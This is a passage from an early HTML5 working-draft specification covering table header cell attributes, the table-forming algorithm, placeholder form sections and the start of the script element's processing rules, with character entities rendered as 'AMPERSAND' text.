error or zero, is 1.  <p>The <code><a href="#th0">th</a></code> element may also have a <dfn   id=rowspan1 title=attr-th-rowspan><code>rowspan</code></dfn> content   attribute specified, whose value must be a <a href="#valid">valid   non-negative integer</a>. Its default value, which must be used if <a   href="#rules" title="rules for parsing non-negative integers">parsing the   attribute as a non-negative integer</a> returns an error, is also 1.  <p>The <code><a href="#th0">th</a></code> element may have a <dfn id=scope0   title=attr-th-scope><code>scope</code></dfn> content attribute specified,   whose value must be one of the following literal strings: <code   title=attr-th-scope-row>row</code>, <code   title=attr-th-scope-cell>cell</code>, <code   title=attr-th-scope-row>rowgroup</code>, or <code   title=attr-th-scope-cell>cellgroup</code>.  <p>The <code><a href="#th0">th</a></code> element and its <code   title=attr-th-colspan><a href="#colspan1">colspan</a></code>, <code   title=attr-th-rowspan><a href="#rowspan1">rowspan</a></code>, and <code   title=attr-th-scope><a href="#scope0">scope</a></code> attributes take   part in the <a href="#table1">table model</a>.  <p>The <dfn id=scope1 title=dom-th-scope><code>scope</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the content attribute of the   same name.  <p>The <code><a   href="#htmltableheadercellelement">HTMLTableHeaderCellElement</a></code>   interface inherits from the <code><a   href="#htmltablecellelement">HTMLTableCellElement</a></code> interface and   therefore also has the DOM attributes defined above in the <code><a   href="#td0">td</a></code> section.  <h4 id=processing><span class=secno>3.15.11. </span>Processing model</h4>  <p>The various table elements and their content attributes together define   the <dfn id=table1>table model</dfn>.  <p>A <dfn id=table2 title=concept-table>table</dfn> consists of cells   aligned on a two-dimensional grid of <dfn id=slots   title=concept-slots>slots</dfn> with coordinates (<var title="">x</var>,   <var title="">y</var>). The grid is finite, and is either empty or has one   or more slots. If the grid has one or more slots, then the <var   title="">x</var> coordinates are always in the range   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">x</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">x<sub title="">max</sub></var></span>, and the <var   title="">y</var> coordinates are always in the range   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">y</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">y<sub title="">max</sub></var></span>. If one or both of <var   title="">x<sub title="">max</sub></var> and <var title="">y<sub   title="">max</sub></var> are zero, then the table is empty (has no slots).   Tables correspond to <code><a href="#table0">table</a></code> elements.  <p>A <dfn id=cell title=concept-cell>cell</dfn> is a set of slots anchored   at a slot (<var title="">cell<sub title="">x</sub></var>, <var   title="">cell<sub title="">y</sub></var>), and with a particular <var   title="">width</var> and <var title="">height</var> such that the cell   covers all the slots with coordinates (<var title="">x</var>, <var   title="">y</var>) where <span><var title="">cell<sub   title="">x</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">cell<sub   title="">x</sub></var>+<var title="">width</var></span> and <span><var   title="">cell<sub title="">y</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">cell<sub   title="">y</sub></var>+<var title="">height</var></span>. Cell can either   be <em>data cells</em> or <em>header cells</em>. Data cells correspond to   <code><a href="#td0">td</a></code> elements, and have zero or more   associated header cells. Header cells correspond to <code><a   href="#th0">th</a></code> elements.  <p>A <dfn id=row title=concept-row>row</dfn> is a complete set of slots   from <span><var title="">x</var>=1</span> to <span><var   title="">x</var>=<var title="">x<sub title="">max</sub></var></span>, for   a particular value of <var title="">y</var>. Rows correspond to <code><a   href="#tr0">tr</a></code> elements.  <p>A <dfn id=column title=concept-column>column</dfn> is a complete set of   slots from <span><var title="">y</var>=1</span> to <span><var   title="">y</var>=<var title="">y<sub title="">max</sub></var></span>, for   a particular value of <var title="">x</var>. Columns can correspond to   <code><a href="#col0">col</a></code> elements, but in the absense of   <code><a href="#col0">col</a></code> elements are implied.  <p>A <dfn id=row-group title=concept-row-group>row group</dfn> is a set of   <a href="#row" title=concept-row>rows</a> anchored at a slot (1, <var   title="">group<sub title="">y</sub></var>) with a particular <var   title="">height</var> such that the row group covers all the slots with   coordinates (<var title="">x</var>, <var title="">y</var>) where   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var   title="">x<sub title="">max</sub></var></span> and <span><var   title="">group<sub title="">y</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">group<sub   title="">y</sub></var>+<var title="">height</var></span>. Row groups   correspond to <code><a href="#tbody0">tbody</a></code>, <code><a   href="#thead1">thead</a></code>, and <code><a   href="#tfoot1">tfoot</a></code> elements. Not every row is necessarily in   a row group.  <p>A <dfn id=column0 title=concept-column-group>column group</dfn> is a set   of <a href="#column" title=concept-column>columns</a> anchored at a slot   (<var title="">group<sub title="">x</sub></var>, 1) with a particular <var   title="">width</var> such that the column group covers all the slots with   coordinates (<var title="">x</var>, <var title="">y</var>) where   <span><var title="">group<sub title="">x</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">group<sub   title="">x</sub></var>+<var title="">width</var></span> and   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var   title="">y<sub title="">max</sub></var></span>. Column groups correspond   to <code><a href="#colgroup0">colgroup</a></code> elements. Not every   column is necessarily in a column group.  <p><a href="#row-group" title=concept-row-group>Row groups</a> cannot   overlap each other. Similarly, <a href="#column0"   title=concept-column-group>column groups</a> cannot overlap each other.  <p>A <a href="#cell" title=concept-cell>cell</a> cannot covers slots that   are from two or more <a href="#row-group" title=concept-row-group>row   groups</a> or two or more <a href="#column0"   title=concept-column-group>column groups</a> AMPERSANDmdash; all the slots that   form part of one cell are part of either zero or one <a href="#row-group"   title=concept-row-group>row groups</a> and either zero or one <a   href="#column0" title=concept-column-group>column groups</a>.  <p>In addition to <a href="#cell" title=concept-cell>cells</a>, <a   href="#column" title=concept-column>columns</a>, <a href="#row"   title=concept-row>rows</a>, <a href="#row-group"   title=concept-row-group>row groups</a>, and <a href="#column0"   title=concept-column-group>column groups</a>, <a href="#table2"   title=concept-table>tables</a> can have a <code><a   href="#caption1">caption</a></code> element associated with them. This   gives the table a heading, or legend.  <p>A <dfn id=table3>table model error</dfn> is an error with the data   represented by <code><a href="#table0">table</a></code> elements and their   descendants. Documents must not have table model errors.  <h5 id=forming><span class=secno>3.15.11.1. </span>Forming a table</h5>  <p>To determine which elements correspond to which slots in a <a   href="#table2" title=concept-table>table</a> associated with a <code><a   href="#table0">table</a></code> element, to determine the dimensions of   the table (<var title="">x<sub title="">max</sub></var> and <var   title="">y<sub title="">max</sub></var>), and to determine if there are   any <a href="#table3" title="table model error">table model errors</a>,   user agents must use the following algorithm:  <ol>   <li>    <p>Let <var title="">x<sub title="">max</sub></var> be zero.</p>   <li>    <p>Let <var title="">y<sub title="">max</sub></var> be zero.</p>   <li>    <p>Let <var title="">the table</var> be the <a href="#table2"     title=concept-table>table</a> represented by the <code><a     href="#table0">table</a></code> element. The <var title="">x<sub     title="">max</sub></var> and <var title="">y<sub     title="">max</sub></var> variables give <var title="">the table</var>'s     extent. <var title="">The table</var> is initially empty.</p>   <li>    <p>If the <code><a href="#table0">table</a></code> element has no table     children, then return <var title="">the table</var> (which will be     empty), and abort these steps.</p>   <li>    <p>Let the <var title="">current element</var> be the first element child     of the <code><a href="#table0">table</a></code> element.</p>    <p>If a step in this algorithm ever requires the <var title="">current     element</var> to be advanced to the next child of the <code><a     href="#table0">table</a></code> when there is no such next child, then     the algorithm must be aborted at that point and the algorithm must     return <var title="">the table</var>.</p>   <li>    <p>While the <var title="">current element</var> is not one of the     following elements, advance the <var title="">current element</var> to     the next child of the <code><a href="#table0">table</a></code>:</p>    <ul class=brief>     <li><code><a href="#caption1">caption</a></code>     <li><code><a href="#colgroup0">colgroup</a></code>     <li><code><a href="#thead1">thead</a></code>     <li><code><a href="#tbody0">tbody</a></code>     <li><code><a href="#tfoot1">tfoot</a></code>     <li><code><a href="#tr0">tr</a></code>    </ul>   <li>    <p>If the <var title="">current element</var> is a <code><a     href="#caption1">caption</a></code>, then that is the <code><a     href="#caption1">caption</a></code> element associated with <var     title="">the table</var>. Otherwise, it has no associated <code><a     href="#caption1">caption</a></code> element.</p>   <li>    <p>If the <var title="">current element</var> is a <code><a     href="#caption1">caption</a></code>, then while the <var     title="">current element</var> is not one of the following elements,     advance the <var title="">current element</var> to the next child of the     <code><a href="#table0">table</a></code>:</p>    <ul class=brief>     <li><code><a href="#colgroup0">colgroup</a></code>     <li><code><a href="#thead1">thead</a></code>     <li><code><a href="#tbody0">tbody</a></code>     <li><code><a href="#tfoot1">tfoot</a></code>     <li><code><a href="#tr0">tr</a></code>    </ul>    <p>(Otherwise, the <var title="">current element</var> will already be     one of those elements.)</p>   <li>    <p>If the <var title="">current element</var> is a <code><a     href="#colgroup0">colgroup</a></code>, follow these substeps:</p>    <ol>     <li>      <p>Let <var title="">next column</var> be 1.</p>     <li>      <p><em>Column groups.</em> Process the <var title="">current       element</var> according to the appropriate one of the following two       cases:</p>      <dl class=switch>       <dt>If the <var title="">current element</var> has any <code><a        href="#col0">col</a></code> element children       <dd>        <p>Follow these steps:</p>        <ol>         <li>          <p>Let <var title="">x<sub title="">start</sub></var> have the           value <span><var title="">x<sub title="">max</sub></var>+1</span>.</p>         <li>          <p>Let the <var title="">current column</var> be the first <code><a           href="#col0">col</a></code> element child of the <code><a           href="#colgroup0">colgroup</a></code> element.</p>         <li>          <p><em>Columns.</em> If the <var title="">current column</var>           <code><a href="#col0">col</a></code> element has a <code           title=attr-col-span><a href="#span3">span</a></code> attribute,           then parse its value using the <a href="#rules">rules for parsing           non-negative integers</a>.</p>          <p>If the result of parsing the value is not an error or zero, then           let <var title="">span</var> be that value.</p>          <p>Otherwise, if the <code><a href="#col0">col</a></code> element           has no <code title=attr-col-span><a href="#span3">span</a></code>           attribute, or if trying to parse the attribute's value resulted in           an error, then let <var title="">span</var> be 1.</p>         <li>          <p>Increase <var title="">x<sub title="">max</sub></var> by <var           title="">span</var>.</p>         <li>          <p>Let the last <var title="">span</var> <a href="#column"           title=concept-column>columns</a> in <var title="">the table</var>           correspond to the <var title="">current column</var> <code><a           href="#col0">col</a></code> element.</p>         <li>          <p>If <var title="">current column</var> is not the last <code><a           href="#col0">col</a></code> element child of the <code><a           href="#colgroup0">colgroup</a></code> element, then let the <var           title="">current column</var> be the next <code><a           href="#col0">col</a></code> element child of the <code><a           href="#colgroup0">colgroup</a></code> element, and return to the           third step of this innermost group of steps (columns).</p>         <li>          <p>Let all the last <a href="#column"           title=concept-column>columns</a> in <var title="">the table</var>           from <span>x=<var title="">x<sub title="">start</sub></var></span>           to <span>x=<var title="">x<sub title="">max</sub></var></span>           form a new <a href="#column0" title=concept-column-group>column           group</a>, anchored at the slot (<var title="">x<sub           title="">start</sub></var>, 1), with width <var title="">x<sub           title="">max</sub></var>-<var title="">x<sub           title="">start</sub></var>-1, corresponding to the <code><a           href="#colgroup0">colgroup</a></code> element.</p>        </ol>       <dt>If the <var title="">current element</var> has no <code><a        href="#col0">col</a></code> element children       <dd>        <ol>         <li>          <p>If the <code><a href="#colgroup0">colgroup</a></code> element           has a <code title=attr-colgroup-span><a           href="#span1">span</a></code> attribute, then parse its value           using the <a href="#rules">rules for parsing non-negative           integers</a>.</p>          <p>If the result of parsing the value is not an error or zero, then           let <var title="">span</var> be that value.</p>          <p>Otherwise, if the <code><a href="#colgroup0">colgroup</a></code>           element has no <code title=attr-col-span><a           href="#span3">span</a></code> attribute, or if trying to parse the           attribute's value resulted in an error, then let <var           title="">span</var> be 1.</p>         <li>          <p>Increase <var title="">x<sub title="">max</sub></var> by <var           title="">span</var>.</p>         <li>          <p>Let the last <var title="">span</var> <a href="#column"           title=concept-column>columns</a> in <var title="">the table</var>           form a new <a href="#column0" title=concept-column-group>column           group</a>, anchored at the slot (<var title="">x<sub           title="">max</sub></var>-<var title="">span</var>+1, 1), with           width <var title="">span</var>, corresponding to the <code><a           href="#colgroup0">colgroup</a></code> element.</p>        </ol>      </dl>     <li>      <p>Advance the <var title="">current element</var> to the next child of       the <code><a href="#table0">table</a></code>.</p>     <li>      <p>While the <var title="">current element</var> is not one of the       following elements, advance the <var title="">current element</var> to       the next child of the <code><a href="#table0">table</a></code>:</p>      <ul class=brief>       <li><code><a href="#colgroup0">colgroup</a></code>       <li><code><a href="#thead1">thead</a></code>       <li><code><a href="#tbody0">tbody</a></code>       <li><code><a href="#tfoot1">tfoot</a></code>       <li><code><a href="#tr0">tr</a></code>      </ul>     <li>      <p>If the <var title="">current element</var> is a <code><a       href="#colgroup0">colgroup</a></code> element, jump to step 2 in these       substeps (column groups).</p>    </ol>   <li>    <p>Let <var title="">y<sub title="">current</sub></var> be zero. When the     algorithm is aborted, if <var title="">y<sub     title="">current</sub></var> does not equal <var title="">y<sub     title="">max</sub></var>, then that is a <a href="#table3">table model     error</a>.</p>   <li>    <p>Let the <var title="">list of downward-growing cells</var> be an empty     list.</p>   <li>    <p><em>Rows.</em> While the <var title="">current element</var> is not     one of the following elements, advance the <var title="">current     element</var> to the next child of the <code><a     href="#table0">table</a></code>:</p>    <ul class=brief>     <li><code><a href="#thead1">thead</a></code>     <li><code><a href="#tbody0">tbody</a></code>     <li><code><a href="#tfoot1">tfoot</a></code>     <li><code><a href="#tr0">tr</a></code>    </ul>   <li>    <p>If the <var title="">current element</var> is a <code><a     href="#tr0">tr</a></code>, then run the <a href="#algorithm0">algorithm     for processing rows</a> (defined below), then return to the previous     step (rows).</p>   <li>    <p>Otherwise, run the <a href="#algorithm">algorithm for ending a row     group</a>.</p>   <li>    <p>Let <var title="">y<sub title="">start</sub></var> have the value     <span><var title="">y<sub title="">max</sub></var>+1</span>.</p>   <li>    <p>For each <code><a href="#tr0">tr</a></code> element that is a child of     the <var title="">current element</var>, in tree order, run the <a     href="#algorithm0">algorithm for processing rows</a> (defined below).</p>   <li> <!-- if we added any rows, make them part of a row group -->    <p>If <span><var title="">y<sub     title="">max</sub></var>AMPERSANDnbsp;AMPERSANDge;AMPERSANDnbsp;<var title="">y<sub     title="">start</sub></var></span>, then let all the last <a href="#row"     title=concept-row>rows</a> in <var title="">the table</var> from     <span>y=<var title="">y<sub title="">start</sub></var></span> to     <span>y=<var title="">y<sub title="">max</sub></var></span> form a new     <a href="#row-group" title=concept-row-group>row group</a>, anchored at     the slot with coordinate (1, <var title="">y<sub     title="">start</sub></var>), with height <var title="">y<sub     title="">max</sub></var>-<var title="">y<sub     title="">start</sub></var>+1, corresponding to the <var title="">current     element</var>.</p>   <li>    <p>Run the <a href="#algorithm">algorithm for ending a row group</a>     again.</p>   <li>    <p>Return to step 12 (rows).</p>  </ol>  <p>The <dfn id=algorithm>algorithm for ending a row group</dfn>, which is   invoked by the set of steps above when starting and eding a block of rows,   is:  <ol>   <li>    <p>If <var title="">y<sub title="">current</sub></var> is less than <var     title="">y<sub title="">max</sub></var>, then this is a <a     href="#table3">table model error</a>.</p>   <li>    <p>While <var title="">y<sub title="">current</sub></var> is less than     <var title="">y<sub title="">max</sub></var>, follow these steps:</p>    <ol>     <li>      <p>Increase <var title="">y<sub title="">current</sub></var> by 1.</p>     <li>      <p>Run the <a href="#algorithm1">algorithm for growing downward-growing       cells</a>.</p>    </ol>   <li>    <p>Empty the <var title="">list of downward-growing cells</var>.</p>  </ol>  <p>The <dfn id=algorithm0>algorithm for processing rows</dfn>, which is   invoked by the set of steps above for processing <code><a   href="#tr0">tr</a></code> elements, is:  <ol>   <li>    <p>Increase <var title="">y<sub title="">current</sub></var> by 1.</p>    <!-- ymax is increased below once we know cell dimensions -->   <li>    <p>Run the <a href="#algorithm1">algorithm for growing downward-growing     cells</a>.</p>   <li>    <p>Let <var title="">x<sub title="">current</sub></var> be 1.</p>    <!-- xmax is increased below once we know cell dimensions -->   <li>    <p>If the <code><a href="#tr0">tr</a></code> element being processed     contains no <code><a href="#td0">td</a></code> or <code><a     href="#th0">th</a></code> elements, then abort this set of steps and     return to the algorithm above.</p>   <li>    <p>Let <var title="">current cell</var> be the first <code><a     href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element     in the <code><a href="#tr0">tr</a></code> element being processed.</p>   <li>    <p><em>Cells.</em> While <var title="">x<sub title="">current</sub></var>     is less than or equal to <var title="">x<sub title="">max</sub></var>     and the slot with coordinate (<var title="">x<sub     title="">current</sub></var>, <var title="">y<sub     title="">current</sub></var>) already has a cell assigned to it,     increase <var title="">x<sub title="">current</sub></var> by 1.</p>   <li>    <p>If <var title="">x<sub title="">current</sub></var> is greater than     <var title="">x<sub title="">max</sub></var>, increase <var     title="">x<sub title="">max</sub></var> by 1 (which will make them     equal).</p>   <li>    <p>If the <var title="">current cell</var> has a <code     title="">colspan</code> attribute, then <span title="rules for parsing     non-negative integer values">parse that attribute's value</span>, and     let <var title="">colspan</var> be the result.</p>    <p>If parsing that value failed, or returned zero, or if the attribute is     absent, then let <var title="">colspan</var> be 1, instead.</p>   <li>    <p>If the <var title="">current cell</var> has a <code     title="">rowspan</code> attribute, then <span title="rules for parsing     non-negative integer values">parse that attribute's value</span>, and     let <var title="">rowspan</var> be the result.</p>    <p>If parsing that value failed or if the attribute is absent, then let     <var title="">rowspan</var> be 1, instead.</p>   <li>    <p>If <var title="">rowspan</var> is zero, then let <var title="">cell     grows downward</var> be true, and set <var title="">rowspan</var> to 1.     Otherwise, let <var title="">cell grows downward</var> be false.</p>   <li>    <p>If <span><var title="">x<sub     title="">max</sub></var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">x<sub     title="">current</sub></var>+<var title="">colspan</var>-1</span>, then     let <var title="">x<sub title="">max</sub></var> be <var title="">x<sub     title="">current</sub></var>+<var title="">colspan</var>-1.</p>   <li>    <p>If <span><var title="">y<sub     title="">max</sub></var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">y<sub     title="">current</sub></var>+<var title="">rowspan</var>-1</span>, then     let <var title="">y<sub title="">max</sub></var> be <var title="">y<sub     title="">current</sub></var>+<var title="">rowspan</var>-1.</p>   <li>    <p>Let the slots with coordinates (<var title="">x</var>, <var     title="">y</var>) such that <span><var title="">x<sub     title="">current</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var     title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">x<sub     title="">current</sub></var>+<var title="">colspan</var></span> and     <span><var title="">y<sub     title="">current</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var     title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">y<sub     title="">current</sub></var>+<var title="">rowspan</var></span> be     covered by a new <a href="#cell" title=concept-cell>cell</a> <var     title="">c</var>, anchored at (<var title="">x<sub     title="">current</sub></var>, <var title="">y<sub     title="">current</sub></var>), which has width <var     title="">colspan</var> and height <var title="">rowspan</var>,     corresponding to the <var title="">current cell</var> element.</p>    <p>If the <var title="">current cell</var> element is a <code><a     href="#th0">th</a></code> element, let this new cell <var     title="">c</var> be a header cell; otherwise, let it be a data cell. To     establish what header cells apply to a data cell, use the <a     href="#algorithm2">algorithm for assigning header cells to data     cells</a> described in the next section.</p>    <p>If any of the slots involved already had a <a href="#cell"     title=concept-cell>cell</a> covering them, then this is a <a     href="#table3">table model error</a>. Those slots now have two cells     overlapping.</p>   <li>    <p>If <var title="">cell grows downward</var> is true, then add the tuple     {<var title="">c</var>, <var title="">x<sub     title="">current</sub></var>, <var title="">colspan</var>} to the <var     title="">list of downward-growing cells</var>.</p>   <li>    <p>Increase <var title="">x<sub title="">current</sub></var> by <var     title="">colspan</var>.</p>   <li>    <p>If <var title="">current cell</var> is the last <code><a     href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element     in the <code><a href="#tr0">tr</a></code> element being processed, then     abort this set of steps and return to the algorithm above.</p>   <li>    <p>Let <var title="">current cell</var> be the next <code><a     href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element     in the <code><a href="#tr0">tr</a></code> element being processed.</p>   <li>    <p>Return to step 5 (cells).</p>  </ol>  <p>The <dfn id=algorithm1>algorithm for growing downward-growing   cells</dfn>, used when adding a new row, is as follows:  <ol>   <li>    <p>If the <var title="">list of downward-growing cells</var> is empty, do     nothing. Abort these steps; return to the step that invoked this     algorithm.</p>   <li>    <p>Otherwise, if <var title="">y<sub title="">max</sub></var> is less     than <var title="">y<sub title="">current</sub></var>, then increase     <var title="">y<sub title="">max</sub></var> by 1 (this will make it     equal to <var title="">y<sub title="">current</sub></var>).</p>   <li>    <p>For each {<var title="">cell</var>, <var title="">cell<sub     title="">x</sub></var>, <var title="">width</var>} tuple in the <var     title="">list of downward-growing cells</var>, extend the <a     href="#cell" title=concept-cell>cell</a> <var title="">cell</var> so     that it also covers the slots with coordinates (<var title="">x</var>,     <var title="">y<sub title="">current</sub></var>), where <span><var     title="">cell<sub title="">x</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var     title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">cell<sub     title="">x</sub></var>+<var title="">width</var>-1</span>.</p>  </ol>  <p>If, after establishing which elements correspond to which slots, there   exists a <a href="#column" title=concept-column>column</a> in the <a   href="#table2" title=concept-table>table</a> containing only <span   title=concept-slot>slots</span> that do not have a <a href="#cell"   title=concept-cell>cell</a> anchored to them, then this is a <a   href="#table3">table model error</a>.  <h5 id=header-and-data-cell-semantics><span class=secno>3.15.11.2.   </span>Forming relationships between data cells and header cells</h5>  <p>The <dfn id=algorithm2>algorithm for assigning header cells to data   cells</dfn> is as follows:  <ol>   <li>    <p class=big-issue>...</p>  </ol>  <h3 id=forms><span class=secno>3.16. </span>Forms</h3>  <!-- XXXX everything in WF2 -->  <p class=big-issue>This section will contain definitions of the   <code>form</code> element and so forth.  <p class=big-issue>This section will be a rewrite of the HTML4 Forms and   Web Forms 2.0 specifications, with hopefully no normative changes.</p>  <!-- From HTML4: BUTTON FIELDSET FORM INPUT LABEL OPTGROUP OPTION  SELECT TEXTAREA -->  <h4 id=the-form><span class=secno>3.16.1. </span>The <code>form</code>   element</h4>  <h4 id=the-fieldset><span class=secno>3.16.2. </span>The   <code>fieldset</code> element</h4>  <h4 id=the-input><span class=secno>3.16.3. </span>The <code>input</code>   element</h4>  <h4 id=the-button><span class=secno>3.16.4. </span>The <code>button</code>   element</h4>  <h4 id=the-label><span class=secno>3.16.5. </span>The <code>label</code>   element</h4>  <h4 id=the-select><span class=secno>3.16.6. </span>The <code>select</code>   element</h4>  <h4 id=the-datalist><span class=secno>3.16.7. </span>The   <code>datalist</code> element</h4>  <h4 id=the-optgroup><span class=secno>3.16.8. </span>The   <code>optgroup</code> element</h4>  <h4 id=the-option><span class=secno>3.16.9. </span>The <code>option</code>   element</h4>  <h4 id=the-textarea><span class=secno>3.16.10. </span>The   <code>textarea</code> element</h4>  <h4 id=the-output><span class=secno>3.16.11. </span>The <code>output</code>   element</h4>  <h4 id=processing0><span class=secno>3.16.12. </span>Processing model</h4>  <p class=big-issue>See <a   href="http://whatwg.org/specs/web-forms/current-work/#extend-form-controls">WF2</a>   for now  <h5 id=form-submission><span class=secno>3.16.12.1. </span>Form submission</h5>  <p class=big-issue>See <a   href="http://whatwg.org/specs/web-forms/current-work/#form-submission">WF2</a>   for now  <h3 id=scripting><span class=secno>3.17. </span>Scripting</h3>  <h4 id=script><span class=secno>3.17.1. </span>The <dfn   id=script2><code>script</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, <a href="#strictly">strictly inline-level content</a>, and <a   href="#metadata" title="metadata elements">metadata element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element.   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#inline-level1">inline-level content</a> is expected.   <dt>Content model:   <dd>If there is no <code title=attr-script-src><a    href="#src5">src</a></code> attribute, depends on the value of the <code    title=attr-script-type><a href="#type9">type</a></code> attribute.   <dd>If there <em>is</em> a <code title=attr-script-src><a    href="#src5">src</a></code> attribute, the element must be empty.   <dt>Element-specific attributes:   <dd><code title=attr-script-src><a href="#src5">src</a></code>   <dd><code title=attr-script-defer>defer</code> (if the <code    title=attr-script-src><a href="#src5">src</a></code> attribute is    present)   <dd><code title=attr-script-async>async</code> (if the <code    title=attr-script-src><a href="#src5">src</a></code> attribute is    present)   <dd><code title=attr-script-type><a href="#type9">type</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlscriptelement>HTMLScriptElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <code title=dom-script-src><a href="#src6">src</a></code>;           attribute boolean <code title=dom-script-defer><a href="#defer">defer</a></code>;           attribute boolean <code title=dom-script-async><a href="#async">async</a></code>;           attribute DOMString <code title=dom-script-type><a href="#type10">type</a></code>;           attribute DOMString <code title=dom-script-text><a href="#text0">text</a></code>;};</pre>  </dl>  <p>The <code><a href="#script2">script</a></code> element allows authors to   include dynamic script in their documents.  <p>When the <dfn id=src5 title=attr-script-src><code>src</code></dfn>   attribute is set, the <code><a href="#script2">script</a></code> element   refers to an external file. The value of the attribute must be a URI.  <p>If the <code title=attr-script-src><a href="#src5">src</a></code>   attribute is not set, then the script is given by the contents of the   element.  <p>The language of the script is given by the <dfn id=type9   title=attr-script-type><code>type</code></dfn> attribute. The value must   be a valid MIME type, optionally with parameters. <a   href="#refsRFC2046">[RFC2046]</a>  <p class=big-issue>Define defer/async attributes for authors.  <p class=big-issue>Do we really want this attribute to be called async=""?   Anyone have a better name?  <p>Changing the <code title=attr-script-src><a href="#src5">src</a></code>,   <code title=attr-script-type><a href="#type9">type</a></code>, <code   title=attr-script-defer>defer</code> and <code   title=attr-script-async>async</code> attributes dynamically has no direct   effect; these attribute are only used at specific times described below   (namely, when the element is inserted into the document).  <p><code><a href="#script2">script</a></code> elements have two associated   pieces of metadata. The first is a flag indicating whether or not the   script block has been <dfn id=already>"already executed"</dfn>. Initially,   <code><a href="#script2">script</a></code> elements must have this flag   unset (script blocks, when created, are not "already executed"). When a   <code><a href="#script2">script</a></code> element is cloned, the "already   executed" flag, if set, must be propagated to the clone when it is   created. The second is a flag indicating whether the element was <dfn   id=parser-inserted>"parser-inserted"</dfn>. This flag is set by the <a   href="#html-0">HTML parser</a> and is used to handle <code   title=dom-document-write-HTML><a   href="#document.write0">document.write()</a></code> calls.  <p><dfn id=when-a title="running a script">When a script block is inserted   into a document</dfn>: When a <code><a href="#script2">script</a></code>   element whose <a href="#already">"already executed"</a> flag is not set is   <span>inserted into a document</span><!-- XXX xref -->, the user agent   must act as follows:  <ol>   <li>    <p>The user agent must set the element's <a href="#already">"already     executed"</a> flag.</p>   <li>    <p class=big-issue>How to handle the <code title="">type</code> and <code     title="">language</code> attributes should be defined here, probably     with reference to the next section.</p>   <li>    <p>If the element has a <code title=attr-script-src><a     href="#src5">src</a></code> attribute, then a load for the specified     content must be started.</p>    <p class=note>Later, once the load has completed, the user agent will     have to complete <a href="#when-a0" title="when a script completes     loading">the steps described below</a>.</p>    <p>For performance reasons, user agents may start loading the script as     soon as the attribute is set, instead, in the hope that the element will     be inserted into the document. Either way, once the element is inserted     into the document, the load must have started. If the UA performs such     prefetching, but the element is never inserted in the document, or the     <code title=attr-script-src><a href="#src5">src</a></code> attribute is     dynamically changed, then the user agent will not execute the script,     and the load will have been effectively wasted.</p>   <li>    <p>Then, the first of the following options that describes the situation     must be followed:</p>    <dl class=switch>     <dt>If the document is still being parsed, and the element has a <code      title=attr-script-defer>defer</code> attribute     <dd>The element must be added to the end of the <a href="#list-of">list      of scripts that will execute when the document has finished      parsing</a>. The user agent must begin <a href="#when-a0" title="when a      script completes loading">the next set of steps</a> when the script is      ready. <span class=big-issue>This isn't compatible with IE for inline      deferred scripts, but then what IE does is pretty hard to pin down      exactly. Do we want to keep this like it is? Be more compatible?</span>      <!--XXX       http://www.websiteoptimization.com/speed/tweak/defer/test/     internal deferred scripts execute before any external scripts execute, or before the LOAD if there are none     external deferred scripts execute before the LOAD     -->           <dt>If the element has an <code title=attr-script-async>async</code>      attribute and a <code title=attr-script-src><a      href="#src5">src</a></code> attribute     <dd>The element must be added to the end of the <a href="#list-of0">list      of scripts that will execute asynchronously</a>. The user agent must      jump to <a href="#when-a0" title="when a script completes loading">the      next set of steps</a> once the script is ready.     <dt>If the element has an <code title=attr-script-async>async</code>      attribute but no <code title=attr-script-src><a      href="#src5">src</a></code> attribute, and the <a href="#list-of0">list      of scripts that will execute asynchronously</a> is not empty     <dd>The element must be added to the end of the <a href="#list-of0">list      of scripts that will execute asynchronously</a>.     <dt>If the element has a <code title=attr-script-src><a      href="#src5">src</a></code> attribute and has been flagged as <a      href="#parser-inserted">"parser-inserted"</a>     <dd>The element is <a href="#the-script">the script that will execute as      soon as the parser resumes</a>. (There can only be one such script at a      time.)     <dt>If the element has a <code title=attr-script-src><a      href="#src5">src</a></code> attribute     <dd>The element must be added to the end of the <a href="#list-of1">list      of scripts that will execute as soon as possible</a>. The user agent      must jump to <a href="#when-a0" title="when a script completes      